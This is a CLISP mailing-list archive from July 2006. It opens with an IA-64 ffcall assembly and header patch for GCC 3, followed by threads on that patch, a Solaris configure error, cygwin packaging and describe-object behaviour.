+	st4 [r15] = r14
+	cmp4.le p6, p7 = r0, r14
+	(p6) br.cond.dptk .L57
+	br .L16
+	;;
+.L57:
+	adds r14 = -32, r35
+	;;
+	ld8 r16 = [r14]
+	mov r14 = r35
+	;;
+	ld4 r14 = [r14]
+	;;
+	sxt4 r14 = r14
+	;;
+	shladd r15 = r14, 3, r0
+	adds r14 = 16, r16
+	;;
+	ld8 r14 = [r14]
+	;;
+	add r16 = r15, r14
+	mov r14 = r35
+	;;
+	ld4 r14 = [r14]
+	;;
+	sxt4 r14 = r14
+	;;
+	shladd r15 = r14, 3, r0
+	adds r14 = -8, r35
+	;;
+	ld8 r14 = [r14]
+	;;
+	add r14 = r15, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	st8 [r16] = r14
+	br .L55
+	;;
+.L46:
+	adds r15 = -32, r35
+	;;
+	ld8 r14 = [r15]
+	;;
+	adds r14 = 8, r14
+	;;
+	ld4 r15 = [r14]
+	addl r14 = 512, r0
+	;;
+	and r14 = r14, r15
+	;;
+	cmp4.eq p6, p7 = 0, r14
+	(p6) br.cond.dptk .L16
+	adds r16 = -32, r35
+	;;
+	ld8 r14 = [r16]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.eq p6, p7 = 0, r14
+	(p6) br.cond.dptk .L16
+	adds r17 = -32, r35
+	;;
+	ld8 r14 = [r17]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.ltu p6, p7 = 32, r14
+	(p6) br.cond.dptk .L16
+	adds r23 = -32, r35
+	;;
+	ld8 r14 = [r23]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.eq p6, p7 = 0, r14
+	(p6) br.cond.dptk .L61
+	adds r15 = -32, r35
+	;;
+	ld8 r14 = [r15]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r15 = [r14]
+	adds r14 = -8, r35
+	;;
+	ld1 r14 = [r14]
+	;;
+	st1 [r15] = r14
+.L61:
+	adds r16 = -32, r35
+	;;
+	ld8 r14 = [r16]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.geu p6, p7 = 1, r14
+	(p6) br.cond.dptk .L62
+	adds r17 = -32, r35
+	;;
+	ld8 r14 = [r17]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	adds r15 = 1, r14
+	adds r14 = -8, r35
+	;;
+	ld8 r14 = [r14]
+	;;
+	shr r14 = r14, 8
+	;;
+	st1 [r15] = r14
+.L62:
+	adds r23 = -32, r35
+	;;
+	ld8 r14 = [r23]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.geu p6, p7 = 2, r14
+	(p6) br.cond.dptk .L63
+	adds r15 = -32, r35
+	;;
+	ld8 r14 = [r15]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	adds r15 = 2, r14
+	adds r14 = -8, r35
+	;;
+	ld8 r14 = [r14]
+	;;
+	shr r14 = r14, 16
+	;;
+	st1 [r15] = r14
+.L63:
+	adds r16 = -32, r35
+	;;
+	ld8 r14 = [r16]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.geu p6, p7 = 3, r14
+	(p6) br.cond.dptk .L64
+	adds r17 = -32, r35
+	;;
+	ld8 r14 = [r17]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	adds r15 = 3, r14
+	adds r14 = -8, r35
+	;;
+	ld8 r14 = [r14]
+	;;
+	shr r14 = r14, 24
+	;;
+	st1 [r15] = r14
+.L64:
+	adds r23 = -32, r35
+	;;
+	ld8 r14 = [r23]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.geu p6, p7 = 4, r14
+	(p6) br.cond.dptk .L65
+	adds r15 = -32, r35
+	;;
+	ld8 r14 = [r15]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	adds r15 = 4, r14
+	adds r14 = -8, r35
+	;;
+	ld8 r14 = [r14]
+	;;
+	shr r14 = r14, 32
+	;;
+	st1 [r15] = r14
+.L65:
+	adds r16 = -32, r35
+	;;
+	ld8 r14 = [r16]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.geu p6, p7 = 5, r14
+	(p6) br.cond.dptk .L66
+	adds r17 = -32, r35
+	;;
+	ld8 r14 = [r17]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	adds r15 = 5, r14
+	adds r14 = -8, r35
+	;;
+	ld8 r14 = [r14]
+	;;
+	shr r14 = r14, 40
+	;;
+	st1 [r15] = r14
+.L66:
+	adds r23 = -32, r35
+	;;
+	ld8 r14 = [r23]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.geu p6, p7 = 6, r14
+	(p6) br.cond.dptk .L67
+	adds r15 = -32, r35
+	;;
+	ld8 r14 = [r15]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	adds r15 = 6, r14
+	adds r14 = -8, r35
+	;;
+	ld8 r14 = [r14]
+	;;
+	shr r14 = r14, 48
+	;;
+	st1 [r15] = r14
+.L67:
+	adds r16 = -32, r35
+	;;
+	ld8 r14 = [r16]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.geu p6, p7 = 7, r14
+	(p6) br.cond.dptk .L68
+	adds r17 = -32, r35
+	;;
+	ld8 r14 = [r17]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	adds r15 = 7, r14
+	adds r14 = -8, r35
+	;;
+	ld8 r14 = [r14]
+	;;
+	shr r14 = r14, 56
+	;;
+	st1 [r15] = r14
+.L68:
+	adds r23 = -32, r35
+	;;
+	ld8 r14 = [r23]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.geu p6, p7 = 8, r14
+	(p6) br.cond.dptk .L16
+	adds r15 = -32, r35
+	;;
+	ld8 r14 = [r15]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	adds r14 = 8, r14
+	;;
+	st1 [r14] = r9
+	adds r16 = -32, r35
+	;;
+	ld8 r14 = [r16]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.geu p6, p7 = 9, r14
+	(p6) br.cond.dptk .L70
+	adds r17 = -32, r35
+	;;
+	ld8 r14 = [r17]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	adds r15 = 9, r14
+	shr r14 = r9, 8
+	;;
+	st1 [r15] = r14
+.L70:
+	adds r23 = -32, r35
+	;;
+	ld8 r14 = [r23]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.geu p6, p7 = 10, r14
+	(p6) br.cond.dptk .L71
+	adds r15 = -32, r35
+	;;
+	ld8 r14 = [r15]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	adds r15 = 10, r14
+	shr r14 = r9, 16
+	;;
+	st1 [r15] = r14
+.L71:
+	adds r16 = -32, r35
+	;;
+	ld8 r14 = [r16]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.geu p6, p7 = 11, r14
+	(p6) br.cond.dptk .L72
+	adds r17 = -32, r35
+	;;
+	ld8 r14 = [r17]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	adds r15 = 11, r14
+	shr r14 = r9, 24
+	;;
+	st1 [r15] = r14
+.L72:
+	adds r23 = -32, r35
+	;;
+	ld8 r14 = [r23]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.geu p6, p7 = 12, r14
+	(p6) br.cond.dptk .L73
+	adds r15 = -32, r35
+	;;
+	ld8 r14 = [r15]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	adds r15 = 12, r14
+	shr r14 = r9, 32
+	;;
+	st1 [r15] = r14
+.L73:
+	adds r16 = -32, r35
+	;;
+	ld8 r14 = [r16]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.geu p6, p7 = 13, r14
+	(p6) br.cond.dptk .L74
+	adds r17 = -32, r35
+	;;
+	ld8 r14 = [r17]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	adds r15 = 13, r14
+	shr r14 = r9, 40
+	;;
+	st1 [r15] = r14
+.L74:
+	adds r23 = -32, r35
+	;;
+	ld8 r14 = [r23]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.geu p6, p7 = 14, r14
+	(p6) br.cond.dptk .L75
+	adds r15 = -32, r35
+	;;
+	ld8 r14 = [r15]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	adds r15 = 14, r14
+	shr r14 = r9, 48
+	;;
+	st1 [r15] = r14
+.L75:
+	adds r16 = -32, r35
+	;;
+	ld8 r14 = [r16]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.geu p6, p7 = 15, r14
+	(p6) br.cond.dptk .L76
+	adds r17 = -32, r35
+	;;
+	ld8 r14 = [r17]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	adds r15 = 15, r14
+	shr r14 = r9, 56
+	;;
+	st1 [r15] = r14
+.L76:
+	adds r23 = -32, r35
+	;;
+	ld8 r14 = [r23]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.geu p6, p7 = 16, r14
+	(p6) br.cond.dptk .L16
+	adds r15 = -32, r35
+	;;
+	ld8 r14 = [r15]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	adds r14 = 16, r14
+	;;
+	st1 [r14] = r10
+	adds r16 = -32, r35
+	;;
+	ld8 r14 = [r16]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.geu p6, p7 = 17, r14
+	(p6) br.cond.dptk .L78
+	adds r17 = -32, r35
+	;;
+	ld8 r14 = [r17]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	adds r15 = 17, r14
+	shr r14 = r10, 8
+	;;
+	st1 [r15] = r14
+.L78:
+	adds r23 = -32, r35
+	;;
+	ld8 r14 = [r23]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.geu p6, p7 = 18, r14
+	(p6) br.cond.dptk .L79
+	adds r15 = -32, r35
+	;;
+	ld8 r14 = [r15]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	adds r15 = 18, r14
+	shr r14 = r10, 16
+	;;
+	st1 [r15] = r14
+.L79:
+	adds r16 = -32, r35
+	;;
+	ld8 r14 = [r16]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.geu p6, p7 = 19, r14
+	(p6) br.cond.dptk .L80
+	adds r17 = -32, r35
+	;;
+	ld8 r14 = [r17]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	adds r15 = 19, r14
+	shr r14 = r10, 24
+	;;
+	st1 [r15] = r14
+.L80:
+	adds r23 = -32, r35
+	;;
+	ld8 r14 = [r23]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.geu p6, p7 = 20, r14
+	(p6) br.cond.dptk .L81
+	adds r15 = -32, r35
+	;;
+	ld8 r14 = [r15]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	adds r15 = 20, r14
+	shr r14 = r10, 32
+	;;
+	st1 [r15] = r14
+.L81:
+	adds r16 = -32, r35
+	;;
+	ld8 r14 = [r16]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.geu p6, p7 = 21, r14
+	(p6) br.cond.dptk .L82
+	adds r17 = -32, r35
+	;;
+	ld8 r14 = [r17]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	adds r15 = 21, r14
+	shr r14 = r10, 40
+	;;
+	st1 [r15] = r14
+.L82:
+	adds r23 = -32, r35
+	;;
+	ld8 r14 = [r23]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.geu p6, p7 = 22, r14
+	(p6) br.cond.dptk .L83
+	adds r15 = -32, r35
+	;;
+	ld8 r14 = [r15]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	adds r15 = 22, r14
+	shr r14 = r10, 48
+	;;
+	st1 [r15] = r14
+.L83:
+	adds r16 = -32, r35
+	;;
+	ld8 r14 = [r16]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.geu p6, p7 = 23, r14
+	(p6) br.cond.dptk .L84
+	adds r17 = -32, r35
+	;;
+	ld8 r14 = [r17]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	adds r15 = 23, r14
+	shr r14 = r10, 56
+	;;
+	st1 [r15] = r14
+.L84:
+	adds r23 = -32, r35
+	;;
+	ld8 r14 = [r23]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.geu p6, p7 = 24, r14
+	(p6) br.cond.dptk .L16
+	adds r15 = -32, r35
+	;;
+	ld8 r14 = [r15]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	adds r14 = 24, r14
+	;;
+	st1 [r14] = r11
+	adds r16 = -32, r35
+	;;
+	ld8 r14 = [r16]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.geu p6, p7 = 25, r14
+	(p6) br.cond.dptk .L86
+	adds r17 = -32, r35
+	;;
+	ld8 r14 = [r17]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	adds r15 = 25, r14
+	shr r14 = r11, 8
+	;;
+	st1 [r15] = r14
+.L86:
+	adds r23 = -32, r35
+	;;
+	ld8 r14 = [r23]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.geu p6, p7 = 26, r14
+	(p6) br.cond.dptk .L87
+	adds r15 = -32, r35
+	;;
+	ld8 r14 = [r15]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	adds r15 = 26, r14
+	shr r14 = r11, 16
+	;;
+	st1 [r15] = r14
+.L87:
+	adds r16 = -32, r35
+	;;
+	ld8 r14 = [r16]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.geu p6, p7 = 27, r14
+	(p6) br.cond.dptk .L88
+	adds r17 = -32, r35
+	;;
+	ld8 r14 = [r17]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	adds r15 = 27, r14
+	shr r14 = r11, 24
+	;;
+	st1 [r15] = r14
+.L88:
+	adds r23 = -32, r35
+	;;
+	ld8 r14 = [r23]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.geu p6, p7 = 28, r14
+	(p6) br.cond.dptk .L89
+	adds r15 = -32, r35
+	;;
+	ld8 r14 = [r15]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	adds r15 = 28, r14
+	shr r14 = r11, 32
+	;;
+	st1 [r15] = r14
+.L89:
+	adds r16 = -32, r35
+	;;
+	ld8 r14 = [r16]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.geu p6, p7 = 29, r14
+	(p6) br.cond.dptk .L90
+	adds r17 = -32, r35
+	;;
+	ld8 r14 = [r17]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	adds r15 = 29, r14
+	shr r14 = r11, 40
+	;;
+	st1 [r15] = r14
+.L90:
+	adds r23 = -32, r35
+	;;
+	ld8 r14 = [r23]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.geu p6, p7 = 30, r14
+	(p6) br.cond.dptk .L91
+	adds r15 = -32, r35
+	;;
+	ld8 r14 = [r15]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	adds r15 = 30, r14
+	shr r14 = r11, 48
+	;;
+	st1 [r15] = r14
+.L91:
+	adds r16 = -32, r35
+	;;
+	ld8 r14 = [r16]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.geu p6, p7 = 31, r14
+	(p6) br.cond.dptk .L16
+	adds r17 = -32, r35
+	;;
+	ld8 r14 = [r17]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	adds r15 = 31, r14
+	shr r14 = r11, 56
+	;;
+	st1 [r15] = r14
+.L16:
+	mov r14 = r0
+	;;
+	mov r8 = r14
+	mov ar.pfs = r34
+	mov b0 = r33
+	.restore sp
+	mov r12 = r35
+	br.ret.sptk.many b0
 	;;
-	st1 [r14] = r15
-.L18:
-	addl r8 = 0, r0
-	adds r12 = 16, r12
-	mov ar.pfs = r37
-	mov b0 = r36
-	br.ret.sptk.many b0
 	.endp __builtin_avcall#
-	.ident	"GCC: (GNU) 2.9-ia64-000216 snap-000324"
+	.ident	"GCC: (GNU) 3.3.4 (SUSE Linux)"
--- ffcall/avcall/avcall.h.in
+++ ffcall/avcall/avcall.h.in	2006-07-19 17:19:49.000000000 +0200
@@ -1112,7 +1112,7 @@ typedef struct
  * different alignment.
  */
 /* little endian -> small structures < 1 word are adjusted to the left */
-#if defined(__i386__) || defined(__alpha__) || defined(__x86_64__)
+#if defined(__i386__) || defined(__alpha__) || defined(__x86_64__) || (defined(__ia64__) && defined(__GNUC__) && (__GNUC__ >= 3))
 #define __av_struct(LIST,TYPE,TYPE_SIZE,TYPE_ALIGN,ASSIGN,VAL)		\
   (((LIST).aptr =							\
     (__avword*)(((__avword)(LIST).aptr+(TYPE_SIZE)+__av_struct_alignment(TYPE_ALIGN)-1) & -(long)__av_struct_alignment(TYPE_ALIGN)))\
@@ -1121,7 +1121,7 @@ typedef struct
 	   (LIST).aptr = (__avword*)(((__avword)(LIST).aptr+sizeof(__avword)-1) & -(long)sizeof(__avword)),\
 	   0))
 #endif
-#if defined(__ia64__)
+#if defined(__ia64__) && (!defined(__GNUC__) || (__GNUC__ < 3))
 /* Types larger than a word have 2-word alignment. */
 #define __av_struct(LIST,TYPE,TYPE_SIZE,TYPE_ALIGN,ASSIGN,VAL)		\
   ((LIST).aptr = (__avword*)(((__avword)(LIST).aptr+(TYPE_SIZE)+__av_struct_alignment(TYPE_ALIGN)-1) & -(long)__av_struct_alignment(TYPE_ALIGN)), \
--- ffcall/callback/vacall_r/vacall_r.h.in
+++ ffcall/callback/vacall_r/vacall_r.h.in	2006-07-19 17:23:49.000000000 +0200
@@ -1059,7 +1059,7 @@ typedef __va_alist* va_alist;
 #endif
 #define __va_align_struct(LIST,TYPE_SIZE,TYPE_ALIGN)  \
   (LIST)->aptr = ((LIST)->aptr + __va_struct_alignment(TYPE_ALIGN)-1) & -(long)__va_struct_alignment(TYPE_ALIGN),
-#if defined(__i386__) || defined(__m68k__) || defined(__alpha__) || defined(__arm__) || defined(__powerpc64__) || defined(__m88k__) || defined(__convex__) || defined(__x86_64__)
+#if defined(__i386__) || defined(__m68k__) || defined(__alpha__) || defined(__arm__) || defined(__powerpc64__) || defined(__m88k__) || defined(__convex__) || defined(__x86_64__) || (defined(__ia64__) && defined(__GNUC__) && (__GNUC__ >= 3))
 #define __va_arg_struct(LIST,TYPE_SIZE,TYPE_ALIGN)  \
   (__va_align_struct(LIST,TYPE_SIZE,TYPE_ALIGN)				\
    __va_arg_adjusted(LIST,TYPE_SIZE,TYPE_ALIGN)				\
@@ -1144,7 +1144,7 @@ typedef __va_alist* va_alist;
      (void*)__va_arg_rightadjusted(LIST,TYPE_SIZE,TYPE_ALIGN)		\
   )
 #endif
-#if defined(__ia64__)
+#if defined(__ia64__) && (!defined(__GNUC__) || (__GNUC__ < 3))
 /* Types larger than a word have 2-word alignment. */
 #define __va_arg_struct(LIST,TYPE_SIZE,TYPE_ALIGN)  \
   (__va_align_struct(LIST,TYPE_SIZE,TYPE_ALIGN)				\
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> * Dr. Werner Fink <jreare@fhfr.qr> [2006-07-21 15:27:15 +0200]:
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> On Fri, Jul 21, 2006 at 09:22:56AM -0400, Sam Steingold wrote:
>> >
>> > Just tried that,
>
> This is the last two lines I see
>
> ./foo -x "(setq zz 10) (saveinitmem \"foo\")"
> ./foo: initialization file `/usr/src/packages/BUILD/clisp-2.39/ia64-suse-linux/foo' was not created by this version of CLISP runtime
>
> and I've set -O0 by hand as last option of the gcc command line.

did you also remove "-O2"?

>> Peter, doest 2.39 work for you?


>> > even removing the patch for ffcall/avcall/avcall-ia64.s for a nwer
>> > gcc does not help (without this patch the minitests check fails).
>> 
>> what's that patch?
>
> Let's see:

who wrote it?
what is the changelog entry?
was it submitted to Bruno for inclusion in the official FFCALL?
does it have a canonical URL? (2000+ line in e-mail is not nice)
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> > * Dr. Werner Fink <jreare@fhfr.qr> [2006-07-21 15:27:15 +0200]:
> >
> > On Fri, Jul 21, 2006 at 09:22:56AM -0400, Sam Steingold wrote:
> >> >
> >> > Just tried that,
> >
> > This is the last two lines I see
> >
> > ./foo -x "(setq zz 10) (saveinitmem \"foo\")"
> > ./foo: initialization file `/usr/src/packages/BUILD/clisp-2.39/ia64-suse-linux/foo' was not created by this version of CLISP runtime
> >
> > and I've set -O0 by hand as last option of the gcc command line.
> 
> did you also remove "-O2"?

No, I do not have done that.  Acorrdingly to the gcc manual page
this is not needed, AFAICR the last option wins.

> >> Peter, doest 2.39 work for you?
> 
> 
> >> > even removing the patch for ffcall/avcall/avcall-ia64.s for a nwer
> >> > gcc does not help (without this patch the minitests check fails).
> >> 
> >> what's that patch?
> >
> > Let's see:
> 
> who wrote it?

One of our gcc maintainers togetheer with our
ia64 architecture maintainer had done this.

> what is the changelog entry?

- Make FFI work on ia64
- Make memory mapping of lisp object work correctly on ia64

> was it submitted to Bruno for inclusion in the official FFCALL?
> does it have a canonical URL? (2000+ line in e-mail is not nice)

Hmmm ... AFAIK attachments do not work with clisp-list@lists.sf.net
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> * Dr. Werner Fink <jreare@fhfr.qr> [2006-07-21 15:57:24 +0200]:
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>> >> > even removing the patch for ffcall/avcall/avcall-ia64.s for a nwer
>> >> > gcc does not help (without this patch the minitests check fails).
>> >> 
>> >> what's that patch?
>> >
>> > Let's see:
>> 
>> who wrote it?
>
> One of our gcc maintainers togetheer with our
> ia64 architecture maintainer had done this.

got names?

>> what is the changelog entry?
>
> - Make FFI work on ia64
> - Make memory mapping of lisp object work correctly on ia64
>
>> was it submitted to Bruno for inclusion in the official FFCALL?
>> does it have a canonical URL? (2000+ line in e-mail is not nice)
>
> Hmmm ... AFAIK attachments do not work with clisp-list@lists.sf.net

I was asking about a URL, not about attachments.

> Normally I prefere gzip/bzip2 attachments but on mailing lists ignoring
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speaking about standard compliance: you are ignoring both "Reply-to"
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On Fri, Jul 21, 2006 at 10:09:37AM -0400, Sam Steingold wrote:
> > * Dr. Werner Fink <jreare@fhfr.qr> [2006-07-21 15:57:24 +0200]:
> >
> >> >> > even removing the patch for ffcall/avcall/avcall-ia64.s for a nwer
> >> >> > gcc does not help (without this patch the minitests check fails).
> >> >> 
> >> >> what's that patch?
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> >> > Let's see:
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> got names?

e.g. Andreas Schwab <schwab@suse.de>
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> speaking about standard compliance: you are ignoring both "Reply-to"
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> * Dr. Werner Fink <jreare@fhfr.qr> [2006-07-21 16:32:05 +0200]:
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> On Fri, Jul 21, 2006 at 10:09:37AM -0400, Sam Steingold wrote:
>> > * Dr. Werner Fink <jreare@fhfr.qr> [2006-07-21 15:57:24 +0200]:
>> >
>> >> >> > even removing the patch for ffcall/avcall/avcall-ia64.s for a nwer
>> >> >> > gcc does not help (without this patch the minitests check fails).
>> >> >> 
>> >> >> what's that patch?
>> >> >
>> >> > Let's see:
>> >> 
>> >> who wrote it?
>> >
>> > One of our gcc maintainers togetheer with our
>> > ia64 architecture maintainer had done this.
>> 
>> got names?
>
> e.g. Andreas Schwab <schwab@suse.de>
>      Andreas Jaeger <aj@suse.de>

thanks.

now, what is the URL for the patch?

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I tried to build with SAFETY=3 on solaris because of the fact that
global registers don't seem to work there by doing this:

CPPFLAGS='-DSAFETY=3'; export CPPFLAGS

The build proceeds with -DSAFETY=3 in the right places, but the build
eventually bombs with this:

configure: loading cache ../config.cache
configure: error: `CPPFLAGS' has changed since the previous run:
configure:   former value:  -DSAFETY=3
configure:   current value: -DSAFETY=3 -I/ms/dist/fsf/PROJ/libsigsegv/2.4/include
configure: error: changes in the environment can compromise the build
configure: error: run `make distclean' and/or `rm ../config.cache' and start over
*** Error code 1
make: Fatal error: Command failed for target `i18n'

Any ideas?

-russ



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Hello,
did a build as indicated, make distrib executed

Where can I drop the result (clisp-2.39-cygwin-1.5.20.tar.bz2)

I don't understand how make cygwin-src should work. How is  the file in 
TAR_SRC generated?
I don't see a reference to archive elsewhere

Fails with
$ make cygwin-src
touch clisp-2.39-1.patch
echo '#!/bin/sh' > clisp-2.39-1.sh
echo './configure --with-dynamic-ffi --srcdir=../src --build build-cygwin' 
 >> c
isp-2.39-1.sh
echo 'cd build-cygwin' >> clisp-2.39-1.sh
echo 'make distrib' >> clisp-2.39-1.sh
ln -s "../../archives/2.39/clisp-2.39.tar.bz2" .
tar cvfjh clisp-2.39-1-src.tar.bz2 clisp-2.39-1.sh clisp-2.39-1.patch 
setup.hin
 cygwin.README clisp-2.39.tar.bz2
clisp-2.39-1.sh
clisp-2.39-1.patch
setup.hint
cygwin.README
tar: clisp-2.39.tar.bz2: No se puede stat: No such file or directory
tar: Salida con error demorada desde errores anteriores
make: *** [cygwin-src] Error 2

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>> * Karsten Poeck <Xnefgra.cbrpx@tznvy.pbz> [2006-07-14 21:18:07 +0200]:
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>> "Sam Steingold" <sds@podval.org> wrote in message
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>>>I no longer have access to a woe32 system,
>>> so we need a volunteer to build clisp binary distributions
>>> for woe32 and cygwin for the forthcoming clisp 2.39.
>>>
>> Hello,
>> I can build for cygwin, will try current cvs now.
>
> thanks. could you please take over the cygwin package maintenance?
> building cygwin package should be as easy as
> make cygwin-src distrib
> but the cygwin people change the rules every now and then and you will
> need to follow them...
>
> please build from sources at
> http://prdownloads.sourceforge.net/clisp/clisp-2.39.tar.bz2?download
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> * Karsten Poeck <Xnefgra.Cbrpx@tznvy.pbz> [2006-07-20 22:45:13 +0200]:
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> Where can I drop the result (clisp-2.39-cygwin-1.5.20.tar.bz2)

you talk to the cygwin people, assume the maintainership of the clisp
cygwin package and follow the cygwin instructions.

> I don't understand how make cygwin-src should work. How is the file in
> TAR_SRC generated?

you download it from the SF files section.


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Hello,

I am not sure whether this is sctrictly speaking a clhs non-conformance or not:

The clisp describe code appears to add text "foo is" to the
description on its own, before calling describe-object. This makes
example in description of describe-object
(http://www.lispworks.com/documentation/HyperSpec/Body/f_desc_1.htm)
in CLHS produce undesired output - the text "#<FEDERATION-STARSHIP
#x19F62D11> is" is produced twice.

The clhs says on describe "The actual act of describing the object is
implemented by describe-object. describe exists as an interface
primarily to manage argument defaulting (including conversion of
arguments t and nil into stream objects) and to inhibit any return
values from describe-object.", but it does not explicitly prohibit
describe to do more.

Is there a reason for this behaviour? It makes writing good-looking
portable descriptions of objects more complicated.

Regards,

Tomas


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> * Tomas Zellerin <mryyreva@tznvy.pbz> [2006-07-24 15:00:03 +0200]:
>
> Is there a reason for this behaviour?

since describe output always starts with "~S is ", it makes sense to do
that at the highest level.

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On 7/24/06, Sam Steingold <sds@podval.org> wrote:
> > * Tomas Zellerin <mryyreva@tznvy.pbz> [2006-07-24 15:00:03 +0200]:
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> > Is there a reason for this behaviour?
>
> since describe output always starts with "~S is ", it makes sense to do
> that at the highest level.

This is certainly true for objects described by the implementation.
However, the describe-object is also meant as hook for users:

"Users can write methods for describe-object for their own classes if
they do not wish to inherit an implementation-supplied method."

and here the details of the API do matter. Other implementation seem
to do as hinted in CLHS.

I can live easily with it as it is now; I was just curious whether to
#-clisp the "~S is" string in describe-object or to expect change.

Regards,

Tomas


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On Fri, Jul 21, 2006 at 10:42:57AM -0400, Sam Steingold wrote:
> > * Dr. Werner Fink <jreare@fhfr.qr> [2006-07-21 16:32:05 +0200]:
> >
> > On Fri, Jul 21, 2006 at 10:09:37AM -0400, Sam Steingold wrote:
> >> > * Dr. Werner Fink <jreare@fhfr.qr> [2006-07-21 15:57:24 +0200]:
> >> >
> >> >> >> > even removing the patch for ffcall/avcall/avcall-ia64.s for a nwer
> >> >> >> > gcc does not help (without this patch the minitests check fails).
> >> >> >> 
> >> >> >> what's that patch?
> >> >> >
> >> >> > Let's see:
> >> >> 
> >> >> who wrote it?
> >> >
